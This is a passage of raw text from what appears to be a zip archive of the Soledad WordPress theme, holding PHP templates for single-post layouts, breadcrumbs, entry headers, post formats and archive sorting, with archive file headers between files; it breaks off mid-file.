if ( get_theme_mod( 'penci_post_thumb' ) && ! in_array( $post_format, array( 'link', 'quote', 'gallery', 'video' ) ) ) {
	$class_container_single .= ' penci-single-pheader-noimg';
	$show_post_format       = false;
}

$postID            = get_the_ID();
$current_permalink = get_permalink( $postID );
$current_title     = get_the_title( $postID );
$infinite_load     = get_theme_mod( 'penci_loadnp_posts' ) ? get_theme_mod( 'penci_loadnp_posts' ) : false;
$prev_post_id      = $prev_post_url = $prev_post_title = $wrap_inficlass = $flag_infi = '';
$data_infiads      = get_theme_mod( 'penci_loadnp_ads' ) ? '<div class="penci-single-infiads">' . get_theme_mod( 'penci_loadnp_ads' ) . '</div>' : '';
if ( get_theme_mod( 'penci_loadnp_posts' ) ) {
	$prev_post = penci_get_next_prev_posts();
	$flag_infi = 'no_data';
	if ( ! empty( $prev_post ) && $prev_post != null && $prev_post != '' ) {
		$prev_post_id    = $prev_post->ID;
		$prev_post_url   = get_permalink( $prev_post_id );
		$prev_post_title = get_the_title( $prev_post_id );
		$wrap_inficlass  = ' penci-single-infiscroll';
		$flag_infi       = 'has_data';
	}
}
?>
    <div class="penci-single-wrapper<?php echo $wrap_inficlass; ?>"<?php if ( get_theme_mod( 'penci_loadnp_posts' ) && $data_infiads ) {
		echo ' data-infiads="' . htmlentities( $data_infiads ) . '"';
	} ?>>
        <div class="penci-single-block<?php if ( $flag_infi == 'no_data' ) {
			echo ' penci-single-infiblock-end';
		} ?>"<?php if ( get_theme_mod( 'penci_loadnp_posts' ) ): ?> data-prev-url="<?php echo esc_url( $prev_post_url ); ?>" data-current-url="<?php echo esc_url( $current_permalink ); ?>" data-post-title="<?php echo esc_attr( $current_title ); ?>" data-edit-post="<?php echo get_edit_post_link( $postID ); ?>" data-postid="<?php echo $postID; ?>"<?php endif; ?>>
            <div class="penci-single-pheader <?php echo( $single_magazine ); ?>">
				<?php
				if ( have_posts() ) :
					while ( have_posts() ) : the_post();
						
						get_template_part( 'template-parts/single', 'post-format' );
						get_template_part( 'template-parts/single', 'breadcrumb' );
						get_template_part( 'template-parts/single', 'entry-header' );

					endwhile;
				endif;
				?>
            </div>
            <div class="<?php echo $class_container_single; ?>">
                <div id="main"<?php if ( get_theme_mod( 'penci_sidebar_sticky' ) ): ?> class="penci-main-sticky-sidebar"<?php endif; ?>>
                    <div class="theiaStickySidebar">
						<?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
							<?php penci_set_post_views( $post->ID ); ?>
							<?php get_template_part( 'template-parts/single', 'content-main' ); ?>
						<?php endwhile; endif; ?>
                    </div>
                </div>
				<?php
				if ( get_theme_mod( 'penci_single_delayed_sidebar' ) && penci_is_mobile() ) {
					?>
                    <div data-id="section-sidebar-<?php the_ID(); ?>"
                         data-url="<?php echo esc_url( add_query_arg( [ 'penci_get_delayed_sections' => 'sidebar' ], get_permalink() ) ); ?>"
                         class="pcfb-single-sections-delayed pc-content-delayed"></div>
					<?php
				} else {
					get_template_part( 'template-parts/single', 'sidebar' );
				}
				?>
            </div>
			<?php do_action( 'penci_action_after_post_content' ); ?>
        </div>
    </div>
<?php if ( get_theme_mod( 'penci_loadnp_posts' ) && $flag_infi != 'no_data' ) { ?>
    <div class="penci-ldsingle">
        <div class="penci-ldspinner">
            <div class="bounce1"></div>
            <div class="bounce2"></div>
            <div class="bounce3"></div>
        </div>
    </div>
<?php } ?>
<?php get_footer(); ?>PK     N\DTi    *  template-parts/single-breadcrumb-inner.phpnu [        <?php
if( get_theme_mod( 'penci_disable_breadcrumb' ) ) {
	return;
}

$yoast_breadcrumb = '';
if ( function_exists( 'yoast_breadcrumb' ) ) {
	$yoast_breadcrumb = yoast_breadcrumb( '<div class="penci-container-inside penci-breadcrumb single-breadcrumb">', '</div>', false );
}

if( $yoast_breadcrumb ){
	echo $yoast_breadcrumb;
}else{ ?>
	<div class="penci-container-inside penci-breadcrumb single-breadcrumb">
		<span><a class="crumb" href="<?php echo esc_url( home_url('/') ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon('fas fa-angle-right'); ?>
		<?php
		if ( get_theme_mod( 'enable_pri_cat_yoast_seo' ) ) {
			$primary_term = penci_get_wpseo_primary_term();

			if ( $primary_term ) {
				echo $primary_term;
			} else {
				$penci_cats = get_the_category( get_the_ID() );
				$penci_cat  = array_shift( $penci_cats );
				echo penci_get_category_parents( $penci_cat );
			}
		} else {
			$penci_cats = get_the_category( get_the_ID() );
			$penci_cat  = array_shift( $penci_cats );
			echo penci_get_category_parents( $penci_cat );
		}
		if ( ! get_theme_mod( 'penci_hide_post_title_breadcrumb' ) ) {
			echo '<span>' . get_the_title() . '</span>';
		}
		?>
	</div>
<?php } ?>PK     N\?0+    !  template-parts/single-style-6.phpnu [        <?php
$sidebar_enable = penci_single_sidebar_return();
$sidebar_position = penci_get_posts_sidebar_class();
$sidebar_small_width = penci_single_smaller_content_enable();

// Check layout magazine
$single_magazine = 'container container-single penci-single-style-6 penci-single-smore container-single-fullwidth hentry  penci-header-text-white';
if( get_theme_mod( 'penci_home_layout' ) == 'magazine-1' || get_theme_mod( 'penci_home_layout' ) == 'magazine-2' ) {
	$single_magazine .= ' container-single-magazine';
}

// Check class main content
$class_container_single = 'container container-single penci-single-style-6 penci-single-smore';
if ( $sidebar_enable ){
	$class_container_single .= ' penci_sidebar';
	$class_container_single .= ' ' . $sidebar_position;

	$single_magazine .= ' ' . $sidebar_position;
} else {
	$class_container_single .= ' penci_is_nosidebar';
	$single_magazine .= ' penci_is_nosidebar';
}

if( $sidebar_small_width ) {
	$class_container_single .= ' penci-single-smaller-width';
}

if( ! get_theme_mod( 'penci_disable_lightbox_single' ) ){
	$class_container_single .= ' penci-enable-lightbox';
}

$post_format = get_post_format();
$show_post_format = true;
if( get_theme_mod( 'penci_post_thumb' ) && ! in_array( $post_format, array( 'link', 'quote','gallery','video' ) )  ) {
	$class_container_single .= ' penci-single-pheader-noimg';
	$show_post_format = false;
}

$postID = get_the_ID();
$current_permalink = get_permalink( $postID );
$current_title = get_the_title( $postID );
$infinite_load  = get_theme_mod( 'penci_loadnp_posts' ) ? get_theme_mod( 'penci_loadnp_posts' ) : false;
$prev_post_id = $prev_post_url = $prev_post_title = $wrap_inficlass = $flag_infi = '';
$data_infiads = get_theme_mod( 'penci_loadnp_ads' ) ? '<div class="penci-single-infiads">' . get_theme_mod( 'penci_loadnp_ads' ) . '</div>' : '';
if( get_theme_mod( 'penci_loadnp_posts' ) ){
	$prev_post = penci_get_next_prev_posts();
	$flag_infi = 'no_data';
	if( ! empty( $prev_post ) && $prev_post != null && $prev_post != '' ) {
		$prev_post_id = $prev_post->ID;
		$prev_post_url = get_permalink( $prev_post_id );
		$prev_post_title = get_the_title( $prev_post_id );
		$wrap_inficlass = ' penci-single-infiscroll';
		$flag_infi = 'has_data';
	}
}
?>
<div class="penci-single-wrapper<?php echo $wrap_inficlass; ?>"<?php if( get_theme_mod( 'penci_loadnp_posts' ) && $data_infiads ) echo ' data-infiads="' . htmlentities( $data_infiads ) . '"'; ?>>
	<div class="penci-single-block<?php if( $flag_infi == 'no_data' ){ echo ' penci-single-infiblock-end'; } ?>"<?php if( get_theme_mod( 'penci_loadnp_posts' ) ): ?> data-prev-url="<?php echo esc_url( $prev_post_url );?>" data-current-url="<?php echo esc_url( $current_permalink );?>" data-post-title="<?php echo esc_attr( $current_title );?>" data-edit-post="<?php echo get_edit_post_link( $postID ); ?>" data-postid="<?php echo $postID; ?>"<?php endif; ?>>
		<div class="penci-single-pheader <?php echo ( $single_magazine );?>">
			<?php
			if ( have_posts() ) :
				while ( have_posts() ) : the_post();
					if( ! get_theme_mod( 'penci_move_title_bellow' ) && ! $show_post_format ) {
						get_template_part( 'template-parts/single', 'entry-header' );
					}else{
						get_template_part( 'template-parts/single', 'post-format2' );
					}
				endwhile;
			endif;
			?>
		</div>
		<div class="<?php echo $class_container_single; ?>">
			<div id="main"<?php if ( get_theme_mod( 'penci_sidebar_sticky' ) ): ?> class="penci-main-sticky-sidebar"<?php endif; ?>>
				<div class="theiaStickySidebar">
					<?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
						<?php penci_set_post_views( $post->ID ); ?>
						<?php get_template_part( 'template-parts/single', 'content-main' ); ?>
					<?php endwhile; endif; ?>
				</div>
			</div>
			<?php 
			if ( get_theme_mod( 'penci_single_delayed_sidebar' ) && penci_is_mobile() ) {
				?>
				<div data-id="section-sidebar-<?php the_ID();?>" data-url="<?php echo esc_url( add_query_arg(['penci_get_delayed_sections' => 'sidebar'],get_permalink()) );?>" class="pcfb-single-sections-delayed pc-content-delayed"></div>
				<?php
			} else {
				get_template_part( 'template-parts/single', 'sidebar' );
			}
			?>
		</div>
		<?php do_action( 'penci_action_after_post_content' ); ?>
	</div>
</div>
<?php if( get_theme_mod( 'penci_loadnp_posts' ) && $flag_infi != 'no_data' ){ ?>
	<div class="penci-ldsingle"><div class="penci-ldspinner"><div class="bounce1"></div><div class="bounce2"></div><div class="bounce3"></div></div></div>
<?php } ?>
<?php get_footer(); ?>
PK     N\    )  template-parts/single-entry-header-21.phpnu [        <?php
$style_cscount     = get_theme_mod( 'penci_single_style_cscount' );
$style_cscount     = $style_cscount ? $style_cscount : 's1';
$single_style      = penci_get_single_style();
$move_title_bellow = get_theme_mod( 'penci_move_title_bellow' );
?>
    <div class="header-standard header-classic single-header">
        <div class="header-standard-wrapper">
			<?php do_action( 'penci_before_main_post_title' ); ?>
			<?php if ( ! get_theme_mod( 'penci_post_cat' ) ) : ?>
                <div class="penci-standard-cat penci-single-cat"><span class="cat"><?php penci_category( '' ); ?></span>
                </div>
			<?php endif; ?>

			<?php $hide_readtime = get_theme_mod( 'penci_single_hreadtime' ); ?>
			<?php if ( ! get_theme_mod( 'penci_single_meta_author' ) || ! get_theme_mod( 'penci_single_meta_date' ) || ! get_theme_mod( 'penci_single_meta_comment' ) || get_theme_mod( 'penci_single_show_cview' ) || penci_isshow_reading_time( $hide_readtime ) ) : ?>
                <div class="post-box-meta-single">
					<?php penci_author_update_name(); ?>
					<?php if ( ! get_theme_mod( 'penci_single_meta_date' ) ) : ?>
                        <span><?php penci_soledad_time_link( 'single' ); ?></span>
					<?php endif; ?>
					<?php if ( ! get_theme_mod( 'penci_single_meta_comment' ) && 's1' != $style_cscount ) : ?>
                        <span><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_single_show_cview' ) ) : ?>
                        <span><i class="penci-post-countview-number"><?php echo penci_get_post_views( get_the_ID() ); ?></i> <?php echo penci_get_setting( 'penci_trans_countviews' ); ?></span>
					<?php endif; ?>
					<?php if ( penci_isshow_reading_time( $hide_readtime ) ) : ?>
                        <span class="single-readtime"><?php penci_reading_time(); ?></span>
					<?php endif; ?>
					<?php do_action( 'penci_single_meta_content' ); ?>
					<?php
					if ( get_the_post_thumbnail_caption() && get_theme_mod( 'penci_post_thumb_caption' ) && in_array(
							$single_style,
							array(
								'style-5',
								'style-6',
								'style-8',
							)
						) && ! $move_title_bellow ) {
						echo '<span class="penci-featured-caption penci-fixed-caption penci-caption-relative">' . get_the_post_thumbnail_caption() . '</span>';
					}
					?>
                </div>
			<?php endif; ?>
        </div>

        <h1 class="post-title single-post-title entry-title"><?php the_title(); ?></h1>
		<?php penci_display_post_subtitle(); ?>
		<?php penci_soledad_meta_schema(); ?>

		<?php
		$recipe_title = get_post_meta( get_the_ID(), 'penci_recipe_title', true );
		if ( has_shortcode( get_the_content(), 'penci_recipe' ) || $recipe_title ) {
			do_action( 'penci_recipes_action_hook' );
		}
		?>

		<?php if ( ! get_theme_mod( 'penci_single_meta_author' ) ) : ?>
            <div class="penci-author-img-wrapper">
				<span
                        class="author vcard">
                       
						   <?php echo '<div class="penci-author-wrapper"><a href="'.get_author_posts_url( get_current_user_id() ).'">' . get_avatar( get_current_user_id(), 100 ) . '</a></div>';?>
						   <span class="author-name"><?php the_author(); ?></span>
						
				</span>
            </div>
		<?php endif; ?>

		<?php do_action( 'penci_after_main_post_title' ); ?>
    </div>
<?php
$single_sstyle     = get_theme_mod( 'penci_single_style' );
$move_title_bellow = get_theme_mod( 'penci_move_title_bellow' );
$show              = true;
if ( ! $move_title_bellow && in_array(
		$single_sstyle,
		array(
			'style-5',
			'style-6',
			'style-8',
			'style-10',
			'style-13',
			'style-22',
		)
	) ) {
	$show = false;
}
if ( $show && ( 'btitle-bcontent' == get_theme_mod( 'penci_single_poslcscount' ) || 'btitle' == get_theme_mod( 'penci_single_poslcscount' ) ) ) {
	get_template_part( 'template-parts/single-meta-comment-top' );
}
PK     N\1Aj  j  !  template-parts/single-style-3.phpnu [        <?php
$sidebar_enable = penci_single_sidebar_return();
$sidebar_position = penci_get_posts_sidebar_class();
$sidebar_small_width = penci_single_smaller_content_enable();

// Check layout magazine
$single_magazine = 'container container-single penci-single-style-3 penci-single-smore container-single-fullwidth hentry';
if( get_theme_mod( 'penci_home_layout' ) == 'magazine-1' || get_theme_mod( 'penci_home_layout' ) == 'magazine-2' ) {
	$single_magazine .= ' container-single-magazine';
}

// Check class main content
$class_container_single = 'container container-single penci-single-style-3 penci-single-smore';
if ( $sidebar_enable ){
	$class_container_single .= ' penci_sidebar';
	$class_container_single .= ' ' . $sidebar_position;

	$single_magazine .= ' ' . $sidebar_position;
} else {
	$class_container_single .= ' penci_is_nosidebar';
	$single_magazine .= ' penci_is_nosidebar';
}

if( $sidebar_small_width ) {
	$class_container_single .= ' penci-single-smaller-width';
}

if( ! get_theme_mod( 'penci_disable_lightbox_single' ) ){
	$class_container_single .= ' penci-enable-lightbox';
}

if( ! get_theme_mod( 'penci_disable_lightbox_single' ) ){
	$class_container_single .= ' penci-enable-lightbox';
}
$post_format = get_post_format();

$post_format = get_post_format();
$show_post_format = true;
if( get_theme_mod( 'penci_post_thumb' ) && ! in_array( $post_format, array( 'link', 'quote','gallery','video' ) )  ) {
	$class_container_single .= ' penci-single-pheader-noimg';
	$show_post_format = false;
}

$postID = get_the_ID();
$current_permalink = get_permalink( $postID );
$current_title = get_the_title( $postID );
$infinite_load  = get_theme_mod( 'penci_loadnp_posts' ) ? get_theme_mod( 'penci_loadnp_posts' ) : false;
$prev_post_id = $prev_post_url = $prev_post_title = $wrap_inficlass = $flag_infi = '';
$data_infiads = get_theme_mod( 'penci_loadnp_ads' ) ? '<div class="penci-single-infiads">' . get_theme_mod( 'penci_loadnp_ads' ) . '</div>' : '';
if( get_theme_mod( 'penci_loadnp_posts' ) ){
	$prev_post = penci_get_next_prev_posts();
	$flag_infi = 'no_data';
	if( ! empty( $prev_post ) && $prev_post != null && $prev_post != '' ) {
		$prev_post_id = $prev_post->ID;
		$prev_post_url = get_permalink( $prev_post_id );
		$prev_post_title = get_the_title( $prev_post_id );
		$wrap_inficlass = ' penci-single-infiscroll';
		$flag_infi = 'has_data';
	}
}
?>
<div class="penci-single-wrapper<?php echo $wrap_inficlass; ?>"<?php if( get_theme_mod( 'penci_loadnp_posts' ) && $data_infiads ) echo ' data-infiads="' . htmlentities( $data_infiads ) . '"'; ?>>
	<div class="penci-single-block<?php if( $flag_infi == 'no_data' ){ echo ' penci-single-infiblock-end'; } ?>"<?php if( get_theme_mod( 'penci_loadnp_posts' ) ): ?> data-prev-url="<?php echo esc_url( $prev_post_url );?>" data-current-url="<?php echo esc_url( $current_permalink );?>" data-post-title="<?php echo esc_attr( $current_title );?>" data-edit-post="<?php echo get_edit_post_link( $postID ); ?>" data-postid="<?php echo $postID; ?>"<?php endif; ?>>
		<div class="penci-single-pheader <?php echo ( $single_magazine );?>">
			<?php
			if ( have_posts() ) :
				while ( have_posts() ) : the_post();
					if( ! get_theme_mod( 'penci_move_title_bellow' ) ) {
						get_template_part( 'template-parts/single', 'breadcrumb' );
						get_template_part( 'template-parts/single', 'entry-header' );
					}
					get_template_part( 'template-parts/single', 'post-format' );
				endwhile;
			endif;
			?>
		</div>
		<div class="<?php echo $class_container_single; ?>">
			<div id="main"<?php if ( get_theme_mod( 'penci_sidebar_sticky' ) ): ?> class="penci-main-sticky-sidebar"<?php endif; ?>>
				<div class="theiaStickySidebar">
					<?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
						<?php penci_set_post_views( $post->ID ); ?>
						<?php get_template_part( 'template-parts/single', 'content-main' ); ?>
					<?php endwhile; endif; ?>
				</div>
			</div>
			<?php 
			if ( get_theme_mod( 'penci_single_delayed_sidebar' ) && penci_is_mobile() ) {
				?>
				<div data-id="section-sidebar-<?php the_ID();?>" data-url="<?php echo esc_url( add_query_arg(['penci_get_delayed_sections' => 'sidebar'],get_permalink()) );?>" class="pcfb-single-sections-delayed pc-content-delayed"></div>
				<?php
			} else {
				get_template_part( 'template-parts/single', 'sidebar' );
			}
			?>
		</div>
		<?php do_action( 'penci_action_after_post_content' ); ?>
	</div>
</div>
<?php if( get_theme_mod( 'penci_loadnp_posts' ) && $flag_infi != 'no_data' ){ ?>
	<div class="penci-ldsingle"><div class="penci-ldspinner"><div class="bounce1"></div><div class="bounce2"></div><div class="bounce3"></div></div></div>
<?php } ?>
<?php get_footer(); ?>
PK     N\BQ   Q   %  template-parts/single-post-format.phpnu [        <?php
$thumb_alt = $thumb_title_html = '';

if ( has_post_thumbnail() ) {
	$thumb_id         = get_post_thumbnail_id( get_the_ID() );
	$thumb_alt        = penci_get_image_alt( $thumb_id, get_the_ID() );
	$thumb_title_html = penci_get_image_title( $thumb_id );
}

$sidebar_position = penci_get_posts_sidebar_class();

$single_style        = penci_get_single_style();
$move_title_bellow   = get_theme_mod( 'penci_move_title_bellow' );
$enable_jarallax     = get_theme_mod( 'penci_enable_jarallax_single' );
$pmt_enable_jarallax = get_post_meta( get_the_ID(), 'penci_enable_jarallax_single', true );

if ( $pmt_enable_jarallax ) {
	$enable_jarallax = $pmt_enable_jarallax;
}

$image_size = 'penci-single-full';

$author_html = '';

if ( 'style-22' == $single_style ) {
	$author_html = '<div class="penci-author-wrapper"><a href="'.get_author_posts_url( get_current_user_id() ).'">' . get_avatar( get_current_user_id(), 100 ) . '</a></div>';
}

if ( 'two-sidebar' != $sidebar_position && in_array( $single_style, array(
		'style-3',
		'style-6',
		'style-8',
		'style-9',
		'style-10',
		'style-11',
		'style-13',
	) ) ) {
	$image_size = get_theme_mod( 'penci_single_custom_thumbnail_size' ) ? get_theme_mod( 'penci_single_custom_thumbnail_size' ) : 'penci-full-thumb';
}

if ( penci_is_mobile() ) {
	$image_size = 'penci-masonry-thumb';
}

$before_special_wrapper = $after_special_wrapper = '';
if ( 'style-4' == $single_style || 'style-7' == $single_style || 'style-11' == $single_style ) {
	$before_special_wrapper = '<div class="standard-post-special_wrapper container">';
	$after_special_wrapper  = '</div>';
}

$image_html = penci_get_featured_single_image_size( get_the_ID(), $image_size, $enable_jarallax, $thumb_alt );

?>
<?php if ( penci_get_post_format( 'link' ) || penci_get_post_format( 'quote' ) ) : ?>
	<?php
	$class_pimage_linkquote = 'standard-post-special post-image';
	if ( penci_get_post_format( 'quote' ) ) {
		$class_pimage_linkquote .= ' penci-special-format-quote';
	}
	if ( ! has_post_thumbnail() || get_theme_mod( 'penci_standard_thumbnail' ) ) {
		$class_pimage_linkquote .= ' no-thumbnail';
	}

	if ( $enable_jarallax ) {
		$class_pimage_linkquote .= ' penci-jarallax';
	}

	?>
    <div class="<?php echo( $class_pimage_linkquote ); ?>">
		<?php
		echo $author_html;
		if ( has_post_thumbnail() && ! get_theme_mod( 'penci_standard_thumbnail' ) ) {
			echo $image_html;
		}
		?>
		<?php echo $before_special_wrapper; ?>
        <div class="standard-content-special">
            <div class="format-post-box<?php if ( penci_get_post_format( 'quote' ) ) {
				echo ' penci-format-quote';
			} else {
				echo ' penci-format-link';
			} ?>">
                <span class="post-format-icon"><?php penci_fawesome_icon( 'fas fa-' . ( penci_get_post_format( 'quote' ) ? 'quote-left' : 'link' ) ); ?></span>
                <p class="dt-special">
					<?php
					if ( penci_get_post_format( 'quote' ) ) {
						$dt_content = get_post_meta( $post->ID, '_format_quote_source_name', true );
						if ( ! empty( $dt_content ) ): echo sanitize_text_field( $dt_content ); endif;
					} else {
						$dt_content = get_post_meta( $post->ID, '_format_link_url', true );
						if ( ! empty( $dt_content ) ):
							echo '<a href="' . esc_url( $dt_content ) . '" target="_blank">' . sanitize_text_field( $dt_content ) . '</a>';
						endif;
					}
					?>
                </p>
				<?php
				if ( penci_get_post_format( 'quote' ) ):
					$quote_author = get_post_meta( $post->ID, '_format_quote_source_url', true );
					if ( ! empty( $quote_author ) ):
						echo '<div class="author-quote"><span>' . sanitize_text_field( $quote_author ) . '</span></div>';
					endif;
				endif; ?>
            </div>
        </div>
		<?php echo $after_special_wrapper; ?>
    </div>

<?php elseif ( penci_get_post_format( 'gallery' ) ) : ?>

	<?php $images = get_post_meta( $post->ID, '_format_gallery_images', true ); ?>

	<?php if ( $images ) :
		$autoplay = ! get_theme_mod( 'penci_disable_autoplay_single_slider' ) ? 'true' : 'false';
		?>
        <div class="post-image">
			<?php echo $author_html; ?>
            <div class="swiper penci-owl-carousel penci-owl-carousel-slider penci-nav-visible"
                 data-auto="<?php echo $autoplay; ?>" data-lazy="true">
                <div class="swiper-wrapper">
					<?php foreach ( $images as $image ) : ?>

						<?php $the_image = wp_get_attachment_image_src( $image, $image_size ); ?>
						<?php $the_caption = get_post_field( 'post_excerpt', $image );
						$image_alt         = penci_get_image_alt( $image, get_the_ID() );
						$image_title_html  = penci_get_image_title( $image );
						?>
                        <div class="swiper-slide swiper-mark-item">
                            <figure class="penci-swiper-mask item-link-relative">
								<?php if ( get_theme_mod( 'penci_speed_disable_first_screen' ) || ! get_theme_mod( 'penci_disable_lazyload_fsingle' ) ) { ?>
									<?php echo penci_get_ratio_img_format_gallery( $the_image ); ?>
                                    <img class="penci-lazy" data-src="<?php echo esc_url( $the_image[0] ); ?>"
                                         alt="<?php echo $image_alt; ?>"<?php echo $image_title_html; ?> />
								<?php } else { ?>
                                    <img src="<?php echo esc_url( $the_image[0] ); ?>"
                                         alt="<?php echo $image_alt; ?>"<?php echo $image_title_html; ?> />
								<?php } ?>
								<?php if ( get_theme_mod( 'penci_post_gallery_caption' ) && $the_caption ): ?>
                                    <p class="penci-single-gallery-captions penci-single-gaformat-caption"><?php echo $the_caption; ?></p>
								<?php endif; ?>
                            </figure>
                        </div>

					<?php endforeach; ?>
                </div>
            </div>
        </div>
	<?php endif; ?>

<?php elseif ( penci_get_post_format( 'video' ) ) : ?>
	<?php
	Penci_Sodedad_Video_Format::show_video_embed( array(
		'post_id'      => $post->ID,
		'parallax'     => $enable_jarallax,
		'args'         => array( 'width' => '1920', 'height' => '1080' ),
		'single_style' => $single_style
	) );
	?>
<?php elseif ( penci_get_post_format( 'audio' ) ) : ?>
	<?php
	if ( has_post_thumbnail() && ! get_theme_mod( 'penci_post_thumb' ) ) {
		$class_pimage_audio = 'standard-post-image post-image audio';

		if ( $enable_jarallax ) {
			$class_pimage_audio .= ' penci-jarallax';
		}

		?>
        <div class="<?php echo $class_pimage_audio; ?>">
			<?php echo $author_html; ?>
			<?php echo $image_html; ?>
			<?php echo $before_special_wrapper; ?>
            <div class="audio-iframe">
				<?php $penci_audio = get_post_meta( $post->ID, '_format_audio_embed', true );
				$penci_audio_str   = substr( $penci_audio, - 4 ); ?>
				<?php if ( wp_oembed_get( $penci_audio ) ) : ?>
					<?php echo wp_oembed_get( $penci_audio ); ?>
				<?php elseif ( $penci_audio_str == '.mp3' ) : ?>
					<?php echo do_shortcode( '[audio src="' . esc_url( $penci_audio ) . '"]' ); ?>
				<?php else : ?>
					<?php echo $penci_audio; ?>
				<?php endif; ?>
            </div>
			<?php echo $after_special_wrapper; ?>
        </div>
	<?php } ?>
<?php else : ?>

	<?php if ( has_post_thumbnail() && ! get_theme_mod( 'penci_post_thumb' ) ) : ?>
		<?php
		$class_stand_style = 'post-image';
		if ( in_array( $single_style, array( 'style-6', 'style-5', 'style-8', 'style-10', 'style-13' ) ) ) {
			$class_stand_style .= ' penci-header-text-white';
		}

		if ( $enable_jarallax ) {
			$class_stand_style .= ' penci-jarallax';
		}
		?>
        <div class="<?php echo $class_stand_style; ?>">
			<?php
			echo $author_html;
			if ( ! get_theme_mod( 'penci_disable_lightbox_single' ) && ! $enable_jarallax ) {
				$thumb_url = wp_get_attachment_url( get_post_thumbnail_id( $post->ID ) );
				echo '<a href="' . esc_url( $thumb_url ) . '" data-rel="penci-gallery-bground-content">';
				echo $image_html;
				echo '</a>';
			} else {
				echo $image_html;
			}

			if ( get_the_post_thumbnail_caption() && get_theme_mod( 'penci_post_thumb_caption' ) ) {
				echo '<div class="penci-featured-caption penci-fixed-caption">' . get_the_post_thumbnail_caption() . '</div>';
			}
			?>
        </div>
	<?php endif; ?>

<?php endif; ?>
PK     N\    "  template-parts/single-sections.phpnu [        <?php
$reorder      = get_theme_mod( 'penci_single_ordersec' ) ? get_theme_mod( 'penci_single_ordersec' ) : 'author-postnav-related-comments';
$reorderarray = explode( '-', $reorder );
if ( ! empty( $reorderarray ) ) {
    foreach ( $reorderarray as $sec ) {
        ?>

        <?php if ( $sec == 'author' && ! get_theme_mod( 'penci_post_author' ) ) : ?>
            <?php get_template_part( 'inc/templates/about_author' ); ?>
        <?php endif; ?>

        <?php if ( $sec == 'postnav' && ! get_theme_mod( 'penci_post_nav' ) ) : ?>
            <?php get_template_part( 'inc/templates/post_pagination' ); ?>
        <?php endif; ?>

        <?php if ( $sec == 'related' && ! get_theme_mod( 'penci_post_related' ) ) : ?>
            <?php get_template_part( 'inc/templates/related_posts' ); ?>
        <?php endif; ?>

        <?php if ( $sec == 'comments' && ! get_theme_mod( 'penci_post_hide_comments' ) ) : ?>
            <?php comments_template( '', true ); ?>
        <?php endif; ?>

        <?php
    }
}PK     N\Ee
z    !  template-parts/archive-sorter.phpnu [        <?php
/**
 * Archive Sorter
 *
 * @package Soledad
 */
global $wp;
$show_sorter = get_theme_mod( 'penci_general_show_post_order' );
$show_month  = get_theme_mod( 'penci_archive_show_date_filter' );
if ( $show_sorter || $show_month ): ?>
    <div class="pc-title-bar-sorter">
        <form action="<?php echo home_url( $wp->request ); ?>" method="get">
			<?php if ( $show_sorter ) :
				$current_sort = get_query_var( 'pc_archive_sort', 'desc' );
				?>
                <select class="penci-arfilter-item" name="pc_archive_sort" id="pc_archive_sort">
                    <option <?php selected( 'desc', $current_sort ); ?>
                            value="desc"><?php echo penci_get_setting( 'penci_trans_newest' ); ?></option>
                    <option <?php selected( 'asc', $current_sort ); ?>
                            value="asc"><?php echo penci_get_setting( 'penci_trans_oldest' ); ?></option>
                    <option <?php selected( 'view', $current_sort ); ?>
                            value="view"><?php echo penci_get_setting( 'penci_trans_mostviewed' ); ?></option>
                    <option <?php selected( 'comment', $current_sort ); ?>
                            value="comment"><?php echo penci_get_setting( 'penci_trans_mostcommented' ); ?></option>
                </select>
			<?php endif;
            if ( $show_month ) {
				penci_show_archive_month_select();
			} ?>
        </form>
    </div>
<?php endif; ?>PK     N\2z    &  template-parts/single-content-main.phpnu [        <?php
/**
 * The template for displaying single pages.
 *
 * @since 1.0
 */
$block_style = get_theme_mod( 'penci_blockquote_style' ) ? get_theme_mod( 'penci_blockquote_style' ) : 'style-1';
$heading_style = penci_get_heading_style();
$thumb_alt   = $thumb_title_html = '';

if ( has_post_thumbnail() ) {
	$thumb_id         = get_post_thumbnail_id( get_the_ID() );
	$thumb_alt        = penci_get_image_alt( $thumb_id, get_the_ID() );
	$thumb_title_html = penci_get_image_title( $thumb_id );
}

$single_style = penci_get_single_style();
?>
<article id="post-<?php the_ID(); ?>" class="post type-post status-publish<?php do_action( 'penci_post_class' ); ?>">
	<?php if ( 'style-8' == $single_style ): ?>
		<?php
		$single_magazine = 'container-single penci-single-style-8  penci-header-text-white';
		if ( get_theme_mod( 'penci_home_layout' ) == 'magazine-1' || get_theme_mod( 'penci_home_layout' ) == 'magazine-2' ) {
			$single_magazine .= ' container-single-magazine';
		}
		?>
        <div class="<?php echo( $single_magazine ); ?>">
			<?php
			$post_format = get_post_format();
			if ( ! get_theme_mod( 'penci_move_title_bellow' ) && get_theme_mod( 'penci_post_thumb' ) && ! in_array( $post_format, array(
					'link',
					'quote',
					'gallery',
					'video'
				) ) ) {
				get_template_part( 'template-parts/single', 'entry-header' );
			} else {
				get_template_part( 'template-parts/single', 'post-format2' );
			}
			?>
        </div>
		<?php if ( get_theme_mod( 'penci_post_adsense_one' ) ): ?>
            <div class="penci-google-adsense-1">
				<?php echo do_shortcode( get_theme_mod( 'penci_post_adsense_one' ) ); ?>
            </div>
		<?php endif; ?>
	<?php endif; ?>
	<?php if ( get_theme_mod( 'penci_move_title_bellow' ) && ! in_array( $single_style, ['style-10','style-11','style-12','style-13','style-15','style-20','style-21','style-22'] ) ): ?>
		<?php
		if ( 'style-8' != $single_style ) {
			get_template_part( 'template-parts/single', 'breadcrumb-inner' );
		}

		get_template_part( 'template-parts/single', 'entry-header' );
		?>

		<?php if ( get_theme_mod( 'penci_post_adsense_one' ) ): ?>
            <div class="penci-google-adsense-1">
				<?php echo do_shortcode( get_theme_mod( 'penci_post_adsense_one' ) ); ?>
            </div>
		<?php endif; ?>

	<?php endif; /* End check if not move title bellow featured image */ ?>

	<?php
	$share_show         = false;
	$single_style       = get_theme_mod( 'penci_single_style' );
	$single_poslcscount = penci_get_setting( 'penci_single_poslcscount' );
	if ( 'above-content' == $single_poslcscount || 'abovebelow-content' == $single_poslcscount ) {
		$share_show = true;
	}
	if ( $share_show ) {
